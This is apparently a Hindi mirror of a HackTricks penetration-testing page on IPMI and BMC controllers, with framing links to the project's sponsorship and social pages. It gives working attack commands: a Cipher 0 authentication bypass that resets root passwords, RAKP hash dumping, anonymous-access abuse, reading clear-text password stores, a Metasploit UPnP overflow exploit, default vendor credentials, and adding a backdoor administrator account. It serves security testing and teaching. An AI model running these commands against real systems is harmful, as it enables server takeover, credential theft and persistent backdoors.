mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
175 lines
28 KiB
Markdown
175 lines
28 KiB
Markdown
# 623/UDP/TCP - IPMI
|
|
|
|
## 623/UDP/TCP - IPMI
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
|
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**
|
|
|
|
</details>
|
|
|
|
## मूलभूत जानकारी
|
|
|
|
[Intelligent Platform Management Interface](https://www.thomas-krenn.com/en/wiki/IPMI\_Basics) (`IPMI`) सिस्टम प्रबंधन और मॉनिटरिंग के लिए उपयोग होने वाले हार्डवेयर-आधारित होस्ट प्रबंधन सिस्टम के लिए मानकीकृत विनिर्देश है। यह एक स्वतंत्र उपप्रणाली के रूप में कार्य करता है और होस्ट के BIOS, CPU, firmware और आधारभूत ऑपरेटिंग सिस्टम के बाहरी उपयोग के अलावा काम करता है। IPMI सिस्टम प्रबंधकों को सिस्टम को प्रबंधित और मॉनिटर करने की क्षमता प्रदान करता है, यहां तक कि वे बंद हो गए हों या अनुप्रतिक्रियाशील स्थिति में हों। यह सीधे नेटवर्क कनेक्शन का उपयोग करके सिस्टम के हार्डवेयर के साथ काम करता है और लॉगिन शैली के माध्यम से ऑपरेटिंग सिस्टम तक पहुंच की आवश्यकता नहीं होती है। IPMI का उपयोग टारगेट होस्ट के बिना शारीरिक पहुंच के सिस्टम में रिमोट अपग्रेड के लिए भी किया जा सकता है। IPMI सामान्यतः निम्नलिखित तीन तरीकों से उपयोग किया जाता है:
|
|
|
|
* जब ऑपरेटिंग सिस्टम बूट नहीं हुआ हो तो BIOS सेटिंग्स को संशोधित करने के लिए
|
|
* जब होस्ट पूरी तरह से बंद हो जाता है
|
|
* सिस्टम असफलता के बाद होस्ट तक पहुंच
|
|
|
|
ये कार्यों के लिए उपयोग नहीं हो रहे होने पर, IPMI विभिन्न चीजों की मॉनिटरिंग कर सकता है जैसे कि सिस्टम तापमान, वोल्टेज, फैन स्थिति और पावर सप्लाई। इसका उपयोग इन्वेंटरी जानकारी के प्रश्न करने, हार्डवेयर लॉग की समीक्षा करने और SNMP का उपयोग करके अलर्ट करने के लिए भी किया जा सकता है। होस्ट सिस्टम बंद हो सकता है, लेकिन IPMI मॉड्यूल को सही ढंग से काम करने के लिए एक पावर स्रोत और एक LAN कनेक्शन की आवश्यकता होती है।
|
|
|
|
IPMI प्रोटोकॉल को पहली बार 1998 में Intel ने प्रकाशित किया था और अब यह Cisco, Dell, HP, Supermicro, Intel और अन्य 200 से अधिक सिस्टम विक्रेताओं द्वारा समर्थित है। IPMI संस्करण 2.0 का उपयोग सीरियल ओवर LAN के माध्यम से किया जा सकता है, जिससे सिस्टम प्रबंधकों को बैंड में सीरियल कंसोल आउटपुट देखने की क्षमता मिलती है। IPMI को कार्य करने के लिए निम्नलिखित घटकों की आवश्यकता होती है:
|
|
|
|
* Baseboard Management Controller (BMC) - IPMI का एक माइक्रो-कंट्रोलर और महत्वपूर्ण घटक
|
|
* Intelligent Chassis Management Bus (ICMB) - एक इंटरफ़ेस जो एक चेसिस से दूसरे चेसिस तक संचार की अनुमति देता है
|
|
* Intelligent Platform Management Bus (IPMB) - BMC का विस्तार करता है
|
|
* IPMI Memory - सिस्टम घटना लॉग, रेपोजिटरी स्टोर डेटा और अधिक जैसी चीजों को संग्रहीत करता है
|
|
* संचार इंटरफ़ेस - स्थानीय सिस्टम इंटरफ़ेस, सीरियल और LAN इंटरफ़ेस, ICMB और PCI प्रबंधन बस
|
|
|
|
![](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
|
|
|
**डिफ़ॉल्ट पोर्ट**: 623/UDP/TCP (यह आमतौर पर UDP पर होता है, लेकिन यह TCP पर भी चल सकता है)
|
|
|
|
## जांच
|
|
|
|
### खोज
|
|
```bash
|
|
nmap -n -p 623 10.0.0./24
|
|
nmap -n-sU -p 623 10.0.0./24
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
```
|
|
आप निम्नलिखित का पहचान कर सकते हैं:
|
|
```bash
|
|
use auxiliary/scanner/ipmi/ipmi_version
|
|
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
|
```
|
|
### संकटास्पदता - साइफर 0 के माध्यम से IPMI प्रमाणीकरण बाईपास
|
|
|
|
डैन फार्मर ने IPMI 2.0 विनिर्देशिका की एक गंभीर दुर्बलता की पहचान की है, अर्थात साइफर प्रकार 0, जो क्लियंट को साफ-पाठ प्रमाणीकरण का उपयोग करना चाहता है का संकेतक है, वास्तव में **किसी भी पासवर्ड के साथ पहुंच देता है**। साइफर 0 समस्याएं एचपी, डेल और सुपरमाइक्रो बीएमसी में पहचानी गईं हैं, जहां संभावित रूप से सभी IPMI 2.0 कार्यान्वयनों को शामिल किया जा सकता है।\
|
|
ध्यान दें कि इस समस्या का शोधन करने के लिए आपको पहले **एक मान्य उपयोगकर्ता** का पता लगाना होगा।
|
|
|
|
आप इस समस्या की **पहचान** कर सकते हैं इसका उपयोग करके:
|
|
```
|
|
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
|
```
|
|
और आप `ipmitool` के साथ इस मुद्दे का **दुरुपयोग** कर सकते हैं:
|
|
```bash
|
|
apt-get install ipmitool #Install
|
|
#Using -C 0 any password is accepted
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 root true true true ADMINISTRATOR
|
|
3 Oper1 true true true ADMINISTRATOR
|
|
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root
|
|
```
|
|
### संकटास्पदता - IPMI 2.0 RAKP प्रमाणीकरण दूरस्थ पासवर्ड हैश प्राप्ति
|
|
|
|
मूल रूप से, **आप सर्वर से किसी भी उपयोगकर्ता के एक नमकीन हैश एमडी5 और एसएचए1 के लिए मांग सकते हैं और यदि उपयोगकर्ता मौजूद हैं तो वे हैश वापस भेजे जाएंगे।** हाँ, जैसा कि यह सुनने में भी अद्भुत है। और इसके लिए **मेटास्प्लोइट मॉड्यूल** है जिसका उपयोग टेस्टिंग के लिए किया जा सकता है (आप जॉन या हैशकैट प्रारूप में आउटपुट का चयन कर सकते हैं):
|
|
```bash
|
|
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
|
```
|
|
_ध्यान दें कि इसके लिए आपको केवल ब्रूट-फोर्स करने के लिए उपयोगकर्ता नामों की सूची की आवश्यकता होती है (मेटास्प्लोइट में पहले से ही एक डिफ़ॉल्ट उपयोगकर्ता शामिल है)।_
|
|
|
|
`ipmitool` का उपयोग करके प्रमाणीकरण को छोड़कर (`-c 0`) रूट पासवर्ड को abc123 में बदलने के लिए:
|
|
```
|
|
root@kali:~# apt-get install ipmitool
|
|
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 root true true true ADMINISTRATOR
|
|
3 Oper1 true true true ADMINISTRATOR
|
|
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
|
|
```
|
|
### सुरक्षा दुर्बलता - IPMI अनाम अधितान
|
|
|
|
उपरोक्त प्रमाणीकरण समस्याओं के अलावा, डैन फार्मर ने ध्यान दिया कि **कई BMCs "अनाम" पहुंच को डिफ़ॉल्ट रूप से सक्षम करके शिप करते हैं**। इसे पहले के **उपयोगकर्ता** खाते के उपयोगकर्ता नाम को **शून्य स्ट्रिंग** पर सेट करके और उसके साथ मेल खाते के लिए **शून्य पासवर्ड** सेट करके कॉन्फ़िगर किया जाता है। _ipmi\_dumphashes_ मॉड्यूल शून्य उपयोगकर्ता खातों के पासवर्ड हैश (शामिल हैं रिक्त पासवर्ड) की पहचान करेगा और डंप करेगा। **यह खाता अपने आप में उपयोग करना कठिन हो सकता है, लेकिन हम `ipmitool` का उपयोग करके एक नामित उपयोगकर्ता खाते का पासवर्ड रीसेट कर सकते हैं** और उस खाते का उपयोग अन्य सेवाओं तक पहुंच के लिए कर सकते हैं:
|
|
```bash
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
|
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
1 false false true ADMINISTRATOR
|
|
2 root false false true ADMINISTRATOR
|
|
3 admin true true true ADMINISTRATOR
|
|
|
|
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"
|
|
```
|
|
### सुरक्षा दुर्बलता - सुपरमाइक्रो IPMI क्लियर-टेक्स्ट पासवर्ड
|
|
|
|
IPMI 2.0 निर्देशिका निर्धारित करती है कि BMC HMAC आधारित प्रमाणीकरण विधियों जैसे SHA1 और MD5 का प्रतिक्रिया करें। इस प्रमाणीकरण प्रक्रिया में कुछ गंभीर कमजोरियाँ होती हैं, जैसा कि पिछले उदाहरणों में दिखाया गया है, लेकिन इसके अलावा **प्रमाणीकरण हैश की गणना करने के लिए क्लियर-टेक्स्ट पासवर्ड तक पहुंच की आवश्यकता होती है**। इसका मतलब है कि BMC को **सभी कॉन्फ़िगर किए गए उपयोगकर्ता पासवर्डों के क्लियर-टेक्स्ट संस्करण** को किसी भी **अस्थायी संग्रहण** में संग्रहित करना होगा। सुपरमाइक्रो के मामले में, यह स्थान फर्मवेयर संस्करणों के बीच बदलता है, लेकिन यह या तो **`/nv/PSBlock`** या **`/nv/PSStore`** होता है। पासवर्ड विभिन्न बाइनरी ब्लॉब्स के बीच बिखरे हुए होते हैं, लेकिन वे हमेशा उपयोगकर्ता नाम के बाद आते हैं। यह किसी भी संगठन के लिए एक गंभीर मुद्दा है जो BMC या विभिन्न प्रकार के उपकरणों के बीच साझा पासवर्ड का उपयोग करता है।
|
|
```bash
|
|
cat /nv/PSBlock
|
|
admin ADMINpassword^TT rootOtherPassword!
|
|
```
|
|
### सुरक्षा दुर्बलता - सुपरमाइक्रो IPMI UPnP
|
|
|
|
सुपरमाइक्रो अपनी हाल की मदरबोर्डों के IPMI फर्मवेयर पर **UDP पोर्ट 1900 पर UPnP SSDP सुनने वाला एक लिस्टनर समाविष्ट करता है**। SMT\_X9\_218 से पहले के संस्करणों में यह सेवा इंटेल SDK for UPnP Devices, संस्करण 1.3.1 चला रहा था। इस संस्करण में [रैपिड7 ने खुलासा किया](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) था, और इस प्लेटफ़ॉर्म के लिए एक उत्पादन निशान है Metasploit Framework का हिस्सा है। इस हमले के बारे में दिलचस्प बात यह है कि यह **BMC को पूर्ण रूप से रूट एक्सेस प्रदान करता है**, जो अन्यथा प्राप्त करना कठिन होता है। ध्यान दें कि प्रशासकीय एक्सेस के साथ हमलावर, या होस्ट सिस्टम पर रूट शैल में एक शैल में, सुपरमाइक्रो BMC के फर्मवेयर को एक दुर्भाग्यपूर्ण संस्करण में डाउनग्रेड कर सकते हैं और फिर इसे शोषण कर सकते हैं। एक बार **रूट** एक्सेस **प्राप्त** हो जाने के बाद, फ़ाइल सिस्टम से **साफ़ पाठ्यक्रम** पढ़ना संभव होता है, **अतिरिक्त सॉफ़्टवेयर स्थापित** करना संभव होता है, और BMC में स्थायी **बैकडोर** एकीकरण करना संभव होता है जो होस्ट के ऑपरेटिंग सिस्टम के पूर्ण पुनर्स्थापना को भी जीवित रखेगा।
|
|
```bash
|
|
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
|
```
|
|
### ब्रूट फोर्स
|
|
|
|
ध्यान दें कि केवल एचपी निर्माण प्रक्रिया के दौरान पासवर्ड को यादगार बनाता है।
|
|
|
|
| उत्पाद नाम | डिफ़ॉल्ट उपयोगकर्ता | डिफ़ॉल्ट पासवर्ड |
|
|
| --------------------------------------------------- | ---------------- | ---------------------------------------- |
|
|
| **एचपी इंटीग्रेटेड लाइट्स आउट (iLO)** | व्यवस्थापक | \<फैक्ट्री रैंडमाइज़्ड 8-वर्णीय स्ट्रिंग> |
|
|
| **डेल रिमोट एक्सेस कार्ड (iDRAC, DRAC)** | रूट | calvin |
|
|
| **आईबीएम इंटीग्रेटेड मैनेजमेंट मॉड्यूल (IMM)** | USERID | PASSW0RD (शून्य के साथ) |
|
|
| **फुजित्सु इंटीग्रेटेड रिमोट मैनेजमेंट कंट्रोलर** | व्यवस्थापक | व्यवस्थापक |
|
|
| **सुपरमाइक्रो IPMI (2.0)** | व्यवस्थापक | व्यवस्थापक |
|
|
| **ओरेकल / सन इंटीग्रेटेड लाइट्स आउट मैनेजर (ILOM)** | रूट | changeme |
|
|
| **एएसयूएस आईकेवीएम बीएमसी** | व्यवस्थापक | व्यवस्थापक |
|
|
|
|
## BMC से होस्ट का उपयोग करके शोषण
|
|
|
|
एक बीएमसी के प्रशासनिक पहुंच प्राप्त करने के बाद, होस्ट ऑपरेटिंग सिस्टम तक पहुंच प्राप्त करने के लिए कई तरीके उपलब्ध होते हैं। सबसे सीधा मार्ग यह है कि बीएमसी के KVM कार्यक्षमता का दुरुपयोग करें और होस्ट को एक रूट शैली (GRUB में init=/bin/sh) या एक रेस्क्यू डिस्क को एक वर्चुअल सीडी-रॉम के रूप में निर्दिष्ट करें और उसे बूट करें। होस्ट के डिस्क का सीधा पहुंच प्राप्त होने के बाद, एक बैकडोर दर्ज करना, हार्ड ड्राइव से डेटा कॉपी करना, या सुरक्षा मूल्यांकन के हिस्से के रूप में कुछ भी करना आसान होता है। बड़ा नुकसान, बेशक, यह है कि इस तरीके का उपयोग करने के लिए होस्ट को रिबूट किया जाना चाहिए। होस्ट तक पहुंच प्राप्त करना बहुत कठिन होता है और इस पर निर्भर करता है कि होस्ट क्या चला रहा है। यदि होस्ट की भौतिक कंसोल लॉग इन छोड़ दी जाती है, तो इसे अंतर्जालीय कार्यक्षमता का उपयोग करके आसानी से हाइजैक किया जा सकता है। इसका एक ही तरीका धारीदार कंसोलों के लिए भी लागू होता है - यदि सीरियल पोर्ट को प्रमाणित सत्र से जोड़ा गया है, तो बीएमसी सीरियल-ओवर-लैन (sol) के लिए ipmitool इंटरफ़ेस का उपयोग करके इस पोर्ट को हाइजैक करने की अनुमति दे सकता है। एक मार्ग जिसे अभी भी अधिक अनुसंधान की आवश्यकता है, वह है साझा हार्डवेयर जैसे i2c बस और सुपर I/O चिप का उपयोग करना।
|
|
|
|
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_bios.png)
|
|
|
|
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_boot.png)
|
|
|
|
![](<../.gitbook/assets/image (202) (2).png>)
|
|
|
|
## होस्ट से BMC का शोषण
|
|
|
|
जहां एक BMC वाले होस्ट को कंप्रोमाइज़ किया गया है, **BMC के स्थानीय इंटरफ़ेस का उपयोग करके एक बैकडोर उपयोगकर्ता खाता दर्ज किया जा सकता है**, और वहां से सर्वर पर स्थायी आधार स्थापित किया जा सकता है। इस हमले के लिए, **होस्ट पर `ipmitool` स्थापित होना चाहिए** और BMC के लिए ड्राइवर समर्थन सक्षम होना चाहिए। नीचे दिए गए उदाहरण में दिखाया गया है कि होस्ट पर स्थानीय इंटरफ़ेस का उपयोग करके, जिसमें प्रमाणिती की आवश्यकता नहीं होती है, BMC में एक नया उपयोगकर्ता खाता डाला जा सकता है। यह तरीका लिनक्स, विंडोज, बीएसडी, और डॉस लक्ष्यों के लिए सार्वभौमिक है।
|
|
```bash
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
|
|
ipmitool user set name 4 backdoor
|
|
ipmitool user set password 4 backdoor
|
|
ipmitool user priv 4 4
|
|
ipmitool user list
|
|
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|
2 ADMIN true false false Unknown (0x00)
|
|
3 root true false false Unknown (0x00)
|
|
4 backdoor true false true ADMINISTRATOR
|
|
```
|
|
## शोडन
|
|
|
|
* `पोर्ट: 623`
|
|
|
|
## संदर्भ
|
|
|
|
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
|
* [https://academy.hackthebox.com/module/112/section/1245](https://academy.hackthebox.com/module/112/section/1245)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
|
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**।
|
|
|
|
</details>
|